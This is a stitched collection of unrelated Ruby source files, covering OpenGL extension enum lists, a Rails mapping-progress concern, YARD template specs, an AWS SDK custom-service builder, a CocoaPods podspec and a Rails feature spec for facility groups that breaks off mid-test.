end # self.get_ext_enum_GL_SGIS_sharpen_texture
def self.get_ext_enum_GL_SGIS_texture4D
[
'GL_PACK_SKIP_VOLUMES_SGIS',
'GL_PACK_IMAGE_DEPTH_SGIS',
'GL_UNPACK_SKIP_VOLUMES_SGIS',
'GL_UNPACK_IMAGE_DEPTH_SGIS',
'GL_TEXTURE_4D_SGIS',
'GL_PROXY_TEXTURE_4D_SGIS',
'GL_TEXTURE_4DSIZE_SGIS',
'GL_TEXTURE_WRAP_Q_SGIS',
'GL_MAX_4D_TEXTURE_SIZE_SGIS',
'GL_TEXTURE_4D_BINDING_SGIS',
]
end # self.get_ext_enum_GL_SGIS_texture4D
def self.get_ext_enum_GL_SGIS_texture_border_clamp
[
'GL_CLAMP_TO_BORDER_SGIS',
]
end # self.get_ext_enum_GL_SGIS_texture_border_clamp
def self.get_ext_enum_GL_SGIS_texture_color_mask
[
'GL_TEXTURE_COLOR_WRITEMASK_SGIS',
]
end # self.get_ext_enum_GL_SGIS_texture_color_mask
def self.get_ext_enum_GL_SGIS_texture_edge_clamp
[
'GL_CLAMP_TO_EDGE_SGIS',
]
end # self.get_ext_enum_GL_SGIS_texture_edge_clamp
def self.get_ext_enum_GL_SGIS_texture_filter4
[
'GL_FILTER4_SGIS',
'GL_TEXTURE_FILTER4_SIZE_SGIS',
]
end # self.get_ext_enum_GL_SGIS_texture_filter4
def self.get_ext_enum_GL_SGIS_texture_lod
[
'GL_TEXTURE_MIN_LOD_SGIS',
'GL_TEXTURE_MAX_LOD_SGIS',
'GL_TEXTURE_BASE_LEVEL_SGIS',
'GL_TEXTURE_MAX_LEVEL_SGIS',
]
end # self.get_ext_enum_GL_SGIS_texture_lod
def self.get_ext_enum_GL_SGIS_texture_select
[
'GL_DUAL_ALPHA4_SGIS',
'GL_DUAL_ALPHA8_SGIS',
'GL_DUAL_ALPHA12_SGIS',
'GL_DUAL_ALPHA16_SGIS',
'GL_DUAL_LUMINANCE4_SGIS',
'GL_DUAL_LUMINANCE8_SGIS',
'GL_DUAL_LUMINANCE12_SGIS',
'GL_DUAL_LUMINANCE16_SGIS',
'GL_DUAL_INTENSITY4_SGIS',
'GL_DUAL_INTENSITY8_SGIS',
'GL_DUAL_INTENSITY12_SGIS',
'GL_DUAL_INTENSITY16_SGIS',
'GL_DUAL_LUMINANCE_ALPHA4_SGIS',
'GL_DUAL_LUMINANCE_ALPHA8_SGIS',
'GL_QUAD_ALPHA4_SGIS',
'GL_QUAD_ALPHA8_SGIS',
'GL_QUAD_LUMINANCE4_SGIS',
'GL_QUAD_LUMINANCE8_SGIS',
'GL_QUAD_INTENSITY4_SGIS',
'GL_QUAD_INTENSITY8_SGIS',
'GL_DUAL_TEXTURE_SELECT_SGIS',
'GL_QUAD_TEXTURE_SELECT_SGIS',
]
end # self.get_ext_enum_GL_SGIS_texture_select
def self.get_ext_enum_GL_SGIX_async
[
'GL_ASYNC_MARKER_SGIX',
]
end # self.get_ext_enum_GL_SGIX_async
def self.get_ext_enum_GL_SGIX_async_histogram
[
'GL_ASYNC_HISTOGRAM_SGIX',
'GL_MAX_ASYNC_HISTOGRAM_SGIX',
]
end # self.get_ext_enum_GL_SGIX_async_histogram
def self.get_ext_enum_GL_SGIX_async_pixel
[
'GL_ASYNC_TEX_IMAGE_SGIX',
'GL_ASYNC_DRAW_PIXELS_SGIX',
'GL_ASYNC_READ_PIXELS_SGIX',
'GL_MAX_ASYNC_TEX_IMAGE_SGIX',
'GL_MAX_ASYNC_DRAW_PIXELS_SGIX',
'GL_MAX_ASYNC_READ_PIXELS_SGIX',
]
end # self.get_ext_enum_GL_SGIX_async_pixel
def self.get_ext_enum_GL_SGIX_blend_alpha_minmax
[
'GL_ALPHA_MIN_SGIX',
'GL_ALPHA_MAX_SGIX',
]
end # self.get_ext_enum_GL_SGIX_blend_alpha_minmax
def self.get_ext_enum_GL_SGIX_calligraphic_fragment
[
'GL_CALLIGRAPHIC_FRAGMENT_SGIX',
]
end # self.get_ext_enum_GL_SGIX_calligraphic_fragment
def self.get_ext_enum_GL_SGIX_clipmap
[
'GL_LINEAR_CLIPMAP_LINEAR_SGIX',
'GL_TEXTURE_CLIPMAP_CENTER_SGIX',
'GL_TEXTURE_CLIPMAP_FRAME_SGIX',
'GL_TEXTURE_CLIPMAP_OFFSET_SGIX',
'GL_TEXTURE_CLIPMAP_VIRTUAL_DEPTH_SGIX',
'GL_TEXTURE_CLIPMAP_LOD_OFFSET_SGIX',
'GL_TEXTURE_CLIPMAP_DEPTH_SGIX',
'GL_MAX_CLIPMAP_DEPTH_SGIX',
'GL_MAX_CLIPMAP_VIRTUAL_DEPTH_SGIX',
'GL_NEAREST_CLIPMAP_NEAREST_SGIX',
'GL_NEAREST_CLIPMAP_LINEAR_SGIX',
'GL_LINEAR_CLIPMAP_NEAREST_SGIX',
]
end # self.get_ext_enum_GL_SGIX_clipmap
def self.get_ext_enum_GL_SGIX_convolution_accuracy
[
'GL_CONVOLUTION_HINT_SGIX',
]
end # self.get_ext_enum_GL_SGIX_convolution_accuracy
def self.get_ext_enum_GL_SGIX_depth_pass_instrument
[
]
end # self.get_ext_enum_GL_SGIX_depth_pass_instrument
def self.get_ext_enum_GL_SGIX_depth_texture
[
'GL_DEPTH_COMPONENT16_SGIX',
'GL_DEPTH_COMPONENT24_SGIX',
'GL_DEPTH_COMPONENT32_SGIX',
]
end # self.get_ext_enum_GL_SGIX_depth_texture
def self.get_ext_enum_GL_SGIX_flush_raster
[
]
end # self.get_ext_enum_GL_SGIX_flush_raster
def self.get_ext_enum_GL_SGIX_fog_offset
[
'GL_FOG_OFFSET_SGIX',
'GL_FOG_OFFSET_VALUE_SGIX',
]
end # self.get_ext_enum_GL_SGIX_fog_offset
def self.get_ext_enum_GL_SGIX_fragment_lighting
[
'GL_FRAGMENT_LIGHTING_SGIX',
'GL_FRAGMENT_COLOR_MATERIAL_SGIX',
'GL_FRAGMENT_COLOR_MATERIAL_FACE_SGIX',
'GL_FRAGMENT_COLOR_MATERIAL_PARAMETER_SGIX',
'GL_MAX_FRAGMENT_LIGHTS_SGIX',
'GL_MAX_ACTIVE_LIGHTS_SGIX',
'GL_CURRENT_RASTER_NORMAL_SGIX',
'GL_LIGHT_ENV_MODE_SGIX',
'GL_FRAGMENT_LIGHT_MODEL_LOCAL_VIEWER_SGIX',
'GL_FRAGMENT_LIGHT_MODEL_TWO_SIDE_SGIX',
'GL_FRAGMENT_LIGHT_MODEL_AMBIENT_SGIX',
'GL_FRAGMENT_LIGHT_MODEL_NORMAL_INTERPOLATION_SGIX',
'GL_FRAGMENT_LIGHT0_SGIX',
'GL_FRAGMENT_LIGHT1_SGIX',
'GL_FRAGMENT_LIGHT2_SGIX',
'GL_FRAGMENT_LIGHT3_SGIX',
'GL_FRAGMENT_LIGHT4_SGIX',
'GL_FRAGMENT_LIGHT5_SGIX',
'GL_FRAGMENT_LIGHT6_SGIX',
'GL_FRAGMENT_LIGHT7_SGIX',
]
end # self.get_ext_enum_GL_SGIX_fragment_lighting
def self.get_ext_enum_GL_SGIX_framezoom
[
'GL_FRAMEZOOM_SGIX',
'GL_FRAMEZOOM_FACTOR_SGIX',
'GL_MAX_FRAMEZOOM_FACTOR_SGIX',
]
end # self.get_ext_enum_GL_SGIX_framezoom
def self.get_ext_enum_GL_SGIX_igloo_interface
[
]
end # self.get_ext_enum_GL_SGIX_igloo_interface
def self.get_ext_enum_GL_SGIX_instruments
[
'GL_INSTRUMENT_BUFFER_POINTER_SGIX',
'GL_INSTRUMENT_MEASUREMENTS_SGIX',
]
end # self.get_ext_enum_GL_SGIX_instruments
def self.get_ext_enum_GL_SGIX_interlace
[
'GL_INTERLACE_SGIX',
]
end # self.get_ext_enum_GL_SGIX_interlace
def self.get_ext_enum_GL_SGIX_ir_instrument1
[
'GL_IR_INSTRUMENT1_SGIX',
]
end # self.get_ext_enum_GL_SGIX_ir_instrument1
def self.get_ext_enum_GL_SGIX_list_priority
[
'GL_LIST_PRIORITY_SGIX',
]
end # self.get_ext_enum_GL_SGIX_list_priority
def self.get_ext_enum_GL_SGIX_pixel_texture
[
'GL_PIXEL_TEX_GEN_SGIX',
'GL_PIXEL_TEX_GEN_MODE_SGIX',
]
end # self.get_ext_enum_GL_SGIX_pixel_texture
def self.get_ext_enum_GL_SGIX_pixel_tiles
[
'GL_PIXEL_TILE_BEST_ALIGNMENT_SGIX',
'GL_PIXEL_TILE_CACHE_INCREMENT_SGIX',
'GL_PIXEL_TILE_WIDTH_SGIX',
'GL_PIXEL_TILE_HEIGHT_SGIX',
'GL_PIXEL_TILE_GRID_WIDTH_SGIX',
'GL_PIXEL_TILE_GRID_HEIGHT_SGIX',
'GL_PIXEL_TILE_GRID_DEPTH_SGIX',
'GL_PIXEL_TILE_CACHE_SIZE_SGIX',
]
end # self.get_ext_enum_GL_SGIX_pixel_tiles
def self.get_ext_enum_GL_SGIX_polynomial_ffd
[
'GL_TEXTURE_DEFORMATION_BIT_SGIX',
'GL_GEOMETRY_DEFORMATION_BIT_SGIX',
'GL_GEOMETRY_DEFORMATION_SGIX',
'GL_TEXTURE_DEFORMATION_SGIX',
'GL_DEFORMATIONS_MASK_SGIX',
'GL_MAX_DEFORMATION_ORDER_SGIX',
]
end # self.get_ext_enum_GL_SGIX_polynomial_ffd
def self.get_ext_enum_GL_SGIX_reference_plane
[
'GL_REFERENCE_PLANE_SGIX',
'GL_REFERENCE_PLANE_EQUATION_SGIX',
]
end # self.get_ext_enum_GL_SGIX_reference_plane
def self.get_ext_enum_GL_SGIX_resample
[
'GL_PACK_RESAMPLE_SGIX',
'GL_UNPACK_RESAMPLE_SGIX',
'GL_RESAMPLE_REPLICATE_SGIX',
'GL_RESAMPLE_ZERO_FILL_SGIX',
'GL_RESAMPLE_DECIMATE_SGIX',
]
end # self.get_ext_enum_GL_SGIX_resample
def self.get_ext_enum_GL_SGIX_scalebias_hint
[
'GL_SCALEBIAS_HINT_SGIX',
]
end # self.get_ext_enum_GL_SGIX_scalebias_hint
def self.get_ext_enum_GL_SGIX_shadow
[
'GL_TEXTURE_COMPARE_SGIX',
'GL_TEXTURE_COMPARE_OPERATOR_SGIX',
'GL_TEXTURE_LEQUAL_R_SGIX',
'GL_TEXTURE_GEQUAL_R_SGIX',
]
end # self.get_ext_enum_GL_SGIX_shadow
def self.get_ext_enum_GL_SGIX_shadow_ambient
[
'GL_SHADOW_AMBIENT_SGIX',
]
end # self.get_ext_enum_GL_SGIX_shadow_ambient
def self.get_ext_enum_GL_SGIX_sprite
[
'GL_SPRITE_SGIX',
'GL_SPRITE_MODE_SGIX',
'GL_SPRITE_AXIS_SGIX',
'GL_SPRITE_TRANSLATION_SGIX',
'GL_SPRITE_AXIAL_SGIX',
'GL_SPRITE_OBJECT_ALIGNED_SGIX',
'GL_SPRITE_EYE_ALIGNED_SGIX',
]
end # self.get_ext_enum_GL_SGIX_sprite
def self.get_ext_enum_GL_SGIX_subsample
[
'GL_PACK_SUBSAMPLE_RATE_SGIX',
'GL_UNPACK_SUBSAMPLE_RATE_SGIX',
'GL_PIXEL_SUBSAMPLE_4444_SGIX',
'GL_PIXEL_SUBSAMPLE_2424_SGIX',
'GL_PIXEL_SUBSAMPLE_4242_SGIX',
]
end # self.get_ext_enum_GL_SGIX_subsample
def self.get_ext_enum_GL_SGIX_tag_sample_buffer
[
]
end # self.get_ext_enum_GL_SGIX_tag_sample_buffer
def self.get_ext_enum_GL_SGIX_texture_add_env
[
'GL_TEXTURE_ENV_BIAS_SGIX',
]
end # self.get_ext_enum_GL_SGIX_texture_add_env
def self.get_ext_enum_GL_SGIX_texture_coordinate_clamp
[
'GL_TEXTURE_MAX_CLAMP_S_SGIX',
'GL_TEXTURE_MAX_CLAMP_T_SGIX',
'GL_TEXTURE_MAX_CLAMP_R_SGIX',
]
end # self.get_ext_enum_GL_SGIX_texture_coordinate_clamp
def self.get_ext_enum_GL_SGIX_texture_lod_bias
[
'GL_TEXTURE_LOD_BIAS_S_SGIX',
'GL_TEXTURE_LOD_BIAS_T_SGIX',
'GL_TEXTURE_LOD_BIAS_R_SGIX',
]
end # self.get_ext_enum_GL_SGIX_texture_lod_bias
def self.get_ext_enum_GL_SGIX_texture_multi_buffer
[
'GL_TEXTURE_MULTI_BUFFER_HINT_SGIX',
]
end # self.get_ext_enum_GL_SGIX_texture_multi_buffer
def self.get_ext_enum_GL_SGIX_texture_scale_bias
[
'GL_POST_TEXTURE_FILTER_BIAS_SGIX',
'GL_POST_TEXTURE_FILTER_SCALE_SGIX',
'GL_POST_TEXTURE_FILTER_BIAS_RANGE_SGIX',
'GL_POST_TEXTURE_FILTER_SCALE_RANGE_SGIX',
]
end # self.get_ext_enum_GL_SGIX_texture_scale_bias
def self.get_ext_enum_GL_SGIX_vertex_preclip
[
'GL_VERTEX_PRECLIP_SGIX',
'GL_VERTEX_PRECLIP_HINT_SGIX',
]
end # self.get_ext_enum_GL_SGIX_vertex_preclip
def self.get_ext_enum_GL_SGIX_ycrcb
[
'GL_YCRCB_422_SGIX',
'GL_YCRCB_444_SGIX',
]
end # self.get_ext_enum_GL_SGIX_ycrcb
def self.get_ext_enum_GL_SGIX_ycrcb_subsample
[
]
end # self.get_ext_enum_GL_SGIX_ycrcb_subsample
def self.get_ext_enum_GL_SGIX_ycrcba
[
'GL_YCRCB_SGIX',
'GL_YCRCBA_SGIX',
]
end # self.get_ext_enum_GL_SGIX_ycrcba
def self.get_ext_enum_GL_SGI_color_matrix
[
'GL_COLOR_MATRIX_SGI',
'GL_COLOR_MATRIX_STACK_DEPTH_SGI',
'GL_MAX_COLOR_MATRIX_STACK_DEPTH_SGI',
'GL_POST_COLOR_MATRIX_RED_SCALE_SGI',
'GL_POST_COLOR_MATRIX_GREEN_SCALE_SGI',
'GL_POST_COLOR_MATRIX_BLUE_SCALE_SGI',
'GL_POST_COLOR_MATRIX_ALPHA_SCALE_SGI',
'GL_POST_COLOR_MATRIX_RED_BIAS_SGI',
'GL_POST_COLOR_MATRIX_GREEN_BIAS_SGI',
'GL_POST_COLOR_MATRIX_BLUE_BIAS_SGI',
'GL_POST_COLOR_MATRIX_ALPHA_BIAS_SGI',
]
end # self.get_ext_enum_GL_SGI_color_matrix
def self.get_ext_enum_GL_SGI_color_table
[
'GL_COLOR_TABLE_SGI',
'GL_POST_CONVOLUTION_COLOR_TABLE_SGI',
'GL_POST_COLOR_MATRIX_COLOR_TABLE_SGI',
'GL_PROXY_COLOR_TABLE_SGI',
'GL_PROXY_POST_CONVOLUTION_COLOR_TABLE_SGI',
'GL_PROXY_POST_COLOR_MATRIX_COLOR_TABLE_SGI',
'GL_COLOR_TABLE_SCALE_SGI',
'GL_COLOR_TABLE_BIAS_SGI',
'GL_COLOR_TABLE_FORMAT_SGI',
'GL_COLOR_TABLE_WIDTH_SGI',
'GL_COLOR_TABLE_RED_SIZE_SGI',
'GL_COLOR_TABLE_GREEN_SIZE_SGI',
'GL_COLOR_TABLE_BLUE_SIZE_SGI',
'GL_COLOR_TABLE_ALPHA_SIZE_SGI',
'GL_COLOR_TABLE_LUMINANCE_SIZE_SGI',
'GL_COLOR_TABLE_INTENSITY_SIZE_SGI',
]
end # self.get_ext_enum_GL_SGI_color_table
def self.get_ext_enum_GL_SGI_texture_color_table
[
'GL_TEXTURE_COLOR_TABLE_SGI',
'GL_PROXY_TEXTURE_COLOR_TABLE_SGI',
]
end # self.get_ext_enum_GL_SGI_texture_color_table
def self.get_ext_enum_GL_SUNX_constant_data
[
'GL_UNPACK_CONSTANT_DATA_SUNX',
'GL_TEXTURE_CONSTANT_DATA_SUNX',
]
end # self.get_ext_enum_GL_SUNX_constant_data
def self.get_ext_enum_GL_SUN_convolution_border_modes
[
'GL_WRAP_BORDER_SUN',
]
end # self.get_ext_enum_GL_SUN_convolution_border_modes
def self.get_ext_enum_GL_SUN_global_alpha
[
'GL_GLOBAL_ALPHA_SUN',
'GL_GLOBAL_ALPHA_FACTOR_SUN',
]
end # self.get_ext_enum_GL_SUN_global_alpha
def self.get_ext_enum_GL_SUN_mesh_array
[
'GL_QUAD_MESH_SUN',
'GL_TRIANGLE_MESH_SUN',
]
end # self.get_ext_enum_GL_SUN_mesh_array
def self.get_ext_enum_GL_SUN_slice_accum
[
'GL_SLICE_ACCUM_SUN',
]
end # self.get_ext_enum_GL_SUN_slice_accum
def self.get_ext_enum_GL_SUN_triangle_list
[
'GL_RESTART_SUN',
'GL_REPLACE_MIDDLE_SUN',
'GL_REPLACE_OLDEST_SUN',
'GL_TRIANGLE_LIST_SUN',
'GL_REPLACEMENT_CODE_SUN',
'GL_REPLACEMENT_CODE_ARRAY_SUN',
'GL_REPLACEMENT_CODE_ARRAY_TYPE_SUN',
'GL_REPLACEMENT_CODE_ARRAY_STRIDE_SUN',
'GL_REPLACEMENT_CODE_ARRAY_POINTER_SUN',
'GL_R1UI_V3F_SUN',
'GL_R1UI_C4UB_V3F_SUN',
'GL_R1UI_C3F_V3F_SUN',
'GL_R1UI_N3F_V3F_SUN',
'GL_R1UI_C4F_N3F_V3F_SUN',
'GL_R1UI_T2F_V3F_SUN',
'GL_R1UI_T2F_N3F_V3F_SUN',
'GL_R1UI_T2F_C4F_N3F_V3F_SUN',
]
end # self.get_ext_enum_GL_SUN_triangle_list
def self.get_ext_enum_GL_SUN_vertex
[
]
end # self.get_ext_enum_GL_SUN_vertex
def self.get_ext_enum_GL_WIN_phong_shading
[
'GL_PHONG_WIN',
'GL_PHONG_HINT_WIN',
]
end # self.get_ext_enum_GL_WIN_phong_shading
def self.get_ext_enum_GL_WIN_specular_fog
[
'GL_FOG_SPECULAR_TEXTURE_WIN',
]
end # self.get_ext_enum_GL_WIN_specular_fog
end
| 29.710976 | 70 | 0.731299 |
edb5428cf8da71d5df4d5b404a6d88f1f981aa2b | 175 | require 'will_paginate'
require_relative '../bootstrap_pagination/action_view' if defined?(ActionView)
require_relative '../bootstrap_pagination/sinatra' if defined?(Sinatra)
| 43.75 | 78 | 0.828571 |
796605f547d58053449ab8b06d55f35fbb62e063 | 2,510 | module TrackMappingsProgress
def tracks_mappings_progress(options = {})
class_eval do
include TrackMappingsProgress
unless _process_action_callbacks.any? { |c| c.kind == :before && c.filter == :find_site }
# Make sure find_site is there in the call chain, we depend on it,
# but don't overwrite if it's different
before_action :_find_site, options
end
before_action :set_saved_mappings, options
before_action :set_background_batch_status_message, options
before_action :prevent_caching, options
end
end
protected
def _find_site
@site = Site.find_by!(abbr: params[:site_id])
end
def set_saved_mappings
if flash[:saved_mapping_ids]
@saved_mappings = Mapping.find(flash[:saved_mapping_ids])
end
end
def set_background_batch_status_message
@reportable_batch = current_user.mappings_batches
.where(site_id: @site.id)
.reportable
.order(:updated_at)
.last
# Assumes that the user only cares about the most recent in-progress batch
if @reportable_batch
if @reportable_batch.finished?
@reportable_batch.update_column(:seen_outcome, true)
end
flash.now[:batch_progress] = { message: background_status_message, type: message_type }
end
end
def background_status_message
done = @reportable_batch.entries.processed.count
total = @reportable_batch.entries_to_process.count
past_participle = "#{@reportable_batch.verb}ed"
"#{done} of #{total} #{'mapping'.pluralize(total)} #{past_participle}".html_safe
end
def message_type
if @reportable_batch.succeeded?
:success
elsif @reportable_batch.failed?
:alert
else
:info
end
end
def anything_to_display?
flash[:saved_mapping_ids].present? || @reportable_batch
end
def prevent_caching
# Disable caching on responses which include feedback on progress to
# avoid confusing users who hit the back button.
if anything_to_display?
# http://stackoverflow.com/questions/711418/how-to-prevent-browser-page-caching-in-rails
response.headers["Cache-Control"] = "no-store"
response.headers["Pragma"] = "no-cache"
response.headers["Expires"] = "Fri, 01 Jan 1990 00:00:00 GMT"
end
end
end
if defined?(ActionController::Base)
ActionController::Base.extend TrackMappingsProgress
end
| 30.609756 | 95 | 0.675299 |
7ae81dabe2424200b213438c832431884691237c | 2,494 | require File.dirname(__FILE__) + '/spec_helper'
# $COPY = :method001
# $COPYT = :html
describe YARD::Templates::Engine.template(:default, :method) do
before { Registry.clear }
shared_examples_for "all formats" do
it "should render html format correctly" do
html_equals(Registry.at('#m').format(:format => :html, :no_highlight => true), @template)
end
it "should render text format correctly" do
text_equals(Registry.at('#m').format, @template)
end
end
describe 'regular (deprecated) method' do
before do
@template = :method001
YARD.parse_string <<-'eof'
private
# Comments
# @param [Hash] x the x argument
# @option x [String] :key1 (default) first key
# @option x [Symbol] :key2 second key
# @return [String] the result
# @raise [Exception] hi!
# @deprecated for great justice
def m(x) end
alias x m
eof
end
it_should_behave_like "all formats"
end
describe 'method with 1 overload' do
before do
@template = :method002
YARD.parse_string <<-'eof'
private
# Comments
# @overload m(x, y)
# @param [String] x parameter x
# @param [Boolean] y parameter y
def m(x) end
eof
end
it_should_behave_like "all formats"
end
describe 'method with 2 overloads' do
before do
@template = :method003
YARD.parse_string <<-'eof'
private
# Method comments
# @overload m(x, y)
# Overload docstring
# @param [String] x parameter x
# @param [Boolean] y parameter y
# @overload m(x, y, z)
# @param [String] x parameter x
# @param [Boolean] y parameter y
# @param [Boolean] z parameter z
def m(*args) end
eof
end
it_should_behave_like "all formats"
end
describe 'method void return' do
before do
@template = :method004
YARD.parse_string <<-'eof'
# @return [void]
def m(*args) end
eof
end
it_should_behave_like "all formats"
end
describe 'method void return in an overload' do
before do
@template = :method005
YARD.parse_string <<-'eof'
# @overload m(a)
# @return [void]
# @overload m(b)
# @param [String] b hi
def m(*args) end
eof
end
it_should_behave_like "all formats"
end
end | 24.45098 | 95 | 0.572173 |
acf53fd55d113c582ce6f20a270d543671c674e1 | 162 | require "test_helper"
class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
driven_by :selenium, using: :chrome, screen_size: [1400, 1400]
end
| 27 | 65 | 0.777778 |
1c8eefb07bf85b7cb9bbb05fcccd1483fd95e994 | 2,473 | require 'json'
module BuildTools
class CustomService
# @option options [required, String] :service_name
# @option options [String] :gem_version
# @option options [String] :gem_name
# @option options [required, String] :model_path
# @option options [required, String] :default_endpoint
def initialize(options = {})
@svc_name = validate(options.fetch(:service_name))
@default_endpoint = options.fetch(:default_endpoint)
@model_path = options.fetch(:model_path)
# Optional
@gem_version = options[:gem_version] || '1.0.0'
@gem_name = options[:gem_name] || "#{@svc_name.downcase}-sdk"
@output_dir = options[:output_dir] || File.expand_path('../../gems', __FILE__)
end
def build
AwsSdkCodeGenerator::Service.new(
name: @svc_name,
module_name: @svc_name, # avoid AWS prefix
gem_name: @gem_name,
gem_version: @gem_version,
api: load_json(@model_path), # contains both api and docs
gem_dependencies: gem_dependencies,
default_endpoint: @default_endpoint,
add_plugins: add_plugins([
"#{@svc_name}::Plugins::Authorizer",
"#{@svc_name}::Plugins::APIGEndpoint"
]),
remove_plugins: [
'Aws::Plugins::UserAgent',
'Aws::Plugins::RegionalEndpoint',
'Aws::Plugins::CredentialsConfiguration'
]
)
end
private
def load_json(model_dir)
JSON.load(File.read(model_path(model_dir)))
end
def model_path(model_dir)
path = File.expand_path("#{model_dir}/service-2.json", __FILE__)
File.exists?(path) ? path : nil
end
def gem_dependencies
{
'aws-sdk-core' => '>= 3.12\', \'< 4.0',
'aws-sigv4' => '~> 1.0'
}
end
def add_plugins(plugins)
plugins.inject({}) do |hash, plugin|
hash[plugin] = plugin_path(plugin)
hash
end
end
def plugin_path(plugin_name)
parts = plugin_name.split('::')
parts = parts.map { |part| AwsSdkCodeGenerator::Underscore.underscore(part) }
parts.shift # Shift off service module then append gem path
(["#{@output_dir}/#{@gem_name}/lib/#{@gem_name}"] + parts).join('/') + '.rb'
end
def validate(svc_name)
# replace all non alphanumber with space, can make camel case string
raw = svc_name.gsub(/[^0-9a-zA-Z]/i, ' ')
raw.split(' ').collect(&:capitalize).join
end
end
end
| 29.094118 | 84 | 0.612616 |
5d9889e06c6742362291e3c87bf6b45b8721fb36 | 5,321 | #
# Be sure to run `pod lib lint WJBaseComponent.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'WJBaseComponent'
s.version = '1.0.1'
s.summary = '这是一个基础组件库'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.
DESC
s.homepage = 'https://github.com/CoderLawrence/WJBaseComponent'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'CoderLawrence' => '[email protected]' }
s.source = { :git => 'https://github.com/CoderLawrence/WJBaseComponent.git', :tag => s.version.to_s }
s.requires_arc = true
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'WJBaseComponent/Classes/WJBaseComponent.h'
#s.public_header_files = 'WJBaseComponent/**/*'
s.subspec 'Macros' do |macros|
macros.source_files = 'WJBaseComponent/Classes/Macros/*.h'
macros.public_header_files = 'WJBaseComponent/Classes/Macros/*.h'
end
s.subspec 'Category' do |category|
category.subspec 'NSObject' do |nsobject|
nsobject.source_files = 'WJBaseComponent/Classes/Category/NSObject/*.{h,m}'
nsobject.public_header_files = 'WJBaseComponent/Classes/Category/NSObject/*.h'
end
category.subspec 'UIImage' do |image|
image.source_files = 'WJBaseComponent/Classes/Category/UIImage/*.{h,m}'
image.public_header_files = 'WJBaseComponent/Classes/Category/UIImage/*.h'
end
category.subspec 'UIView' do |view|
view.source_files = 'WJBaseComponent/Classes/Category/UIView/*.{h,m}'
view.public_header_files = 'WJBaseComponent/Classes/Category/UIView/*.h'
end
category.subspec 'NSTimer' do |nstimer|
nstimer.source_files = 'WJBaseComponent/Classes/Category/NSTimer/*.{h,m}'
nstimer.public_header_files = 'WJBaseComponent/Classes/Category/NSTimer/*.h'
end
category.subspec 'NSDate' do |nsdate|
nsdate.source_files = 'WJBaseComponent/Classes/Category/NSDate/*.{h,m}'
nsdate.public_header_files = 'WJBaseComponent/Classes/Category/NSDate/*.h'
end
category.subspec 'NSData' do |nsdata|
nsdata.source_files = 'WJBaseComponent/Classes/Category/NSData/*.{h,m}'
nsdata.public_header_files = 'WJBaseComponent/Classes/Category/NSData/*.h'
end
category.subspec 'NSJSONSerialization' do |serialization|
serialization.source_files = 'WJBaseComponent/Classes/Category/NSJSONSerialization/*.{h,m}'
serialization.public_header_files = 'WJBaseComponent/Classes/Category/NSJSONSerialization/*.h'
end
category.subspec 'UIViewController' do |viewController|
viewController.source_files = 'WJBaseComponent/Classes/Category/UIViewController/*.{h,m}'
viewController.public_header_files = 'WJBaseComponent/Classes/Category/UIViewController/*.h'
end
end
s.subspec 'Base' do |ss|
ss.frameworks = 'UIKit'
ss.subspec 'ViewController' do |viewController|
viewController.source_files = 'WJBaseComponent/Classes/Base/ViewController/*.{h,m}'
viewController.public_header_files = 'WJBaseComponent/Classes/Base/ViewController/*.h'
viewController.frameworks = 'UIKit'
viewController.dependency 'SVProgressHUD'
viewController.dependency 'FDFullscreenPopGesture', '~> 1.1'
viewController.dependency 'WJBaseComponent/Macros'
end
end
s.subspec 'Tools' do |tools|
tools.subspec 'WJUserDefaults' do |userDefaults|
userDefaults.source_files = 'WJBaseComponent/Classes/Tools/WJUserDefaults/*.{h,m}'
userDefaults.public_header_files = 'WJBaseComponent/Classes/Tools/WJUserDefaults/*.h'
end
tools.subspec 'Network' do |network|
network.source_files = 'WJBaseComponent/Classes/Tools/Network/WJNetworkKit.h'
network.public_header_files = 'WJBaseComponent/Classes/Tools/Network/WJNetworkKit.h'
network.subspec 'Base' do |base|
base.source_files = 'WJBaseComponent/Classes/Tools/Network/Base/*.{h,m}'
base.public_header_files = 'WJBaseComponent/Classes/Tools/Network/Base/*.h'
end
network.subspec 'Core' do |core|
core.source_files = 'WJBaseComponent/Classes/Tools/Network/Core/*.{h,m}'
core.public_header_files = 'WJBaseComponent/Classes/Tools/Network/Core/*.h'
core.dependency 'WJBaseComponent/Tools/Network/Base'
core.dependency 'SVProgressHUD'
core.dependency 'AFNetworking'
core.dependency 'YYModel'
end
end
end
s.resource_bundles = {
'WJBaseComponent' => ['WJBaseComponent/Assets/*.png']
}
end
| 40.930769 | 113 | 0.691036 |
2874949bdfe458d2b2b7a360f2f4271c091d99cf | 3,939 | # frozen_string_literal: true
require "features_helper"
RSpec.feature "Facility page functionality", type: :feature do
let(:admin) { create(:admin, :power_user) }
let!(:ihmi) { create(:organization, name: "IHMI") }
let!(:another_organization) { create(:organization) }
let!(:ihmi_group_bathinda) { create(:facility_group, organization: ihmi, state: "Punjab", name: "Bathinda") }
let!(:protocol_01) { create(:protocol, name: "testProtocol") }
facility_page = AdminPage::Facilities::Show.new
facility_group = AdminPage::FacilityGroups::New.new
context "facility group listing" do
context "admin has permission to manage facility groups" do
before(:each) do
visit root_path
sign_in(admin.email_authentication)
visit admin_facilities_path
end
it "Verify facility landing page" do
facility_page.verify_facility_page_header
expect(page).to have_content("IHMI")
expect(page).to have_content("Bathinda")
end
context "create new facility group" do
it "create new facility group without assigning any facility" do
ihmi = create(:organization, name: "IHMI2")
protocol_01 = create(:protocol, name: "testProtocol1")
create(:facility_group, organization: ihmi, state: "Punjab", name: "Bathinda")
facility_page.click_add_facility_group_button
expect(page).to have_content("New district")
facility_group.add_new_facility_group_without_assigning_facility(
org_name: "IHMI2",
name: "testfacilitygroup",
description: "testDescription",
protocol_name: protocol_01.name,
state: "Punjab"
)
expect(page).to have_content("Bathinda")
expect(page).to have_content("Testfacilitygroup")
end
it "create new facility group with facility" do
ihmi = create(:organization, name: "IHMI2")
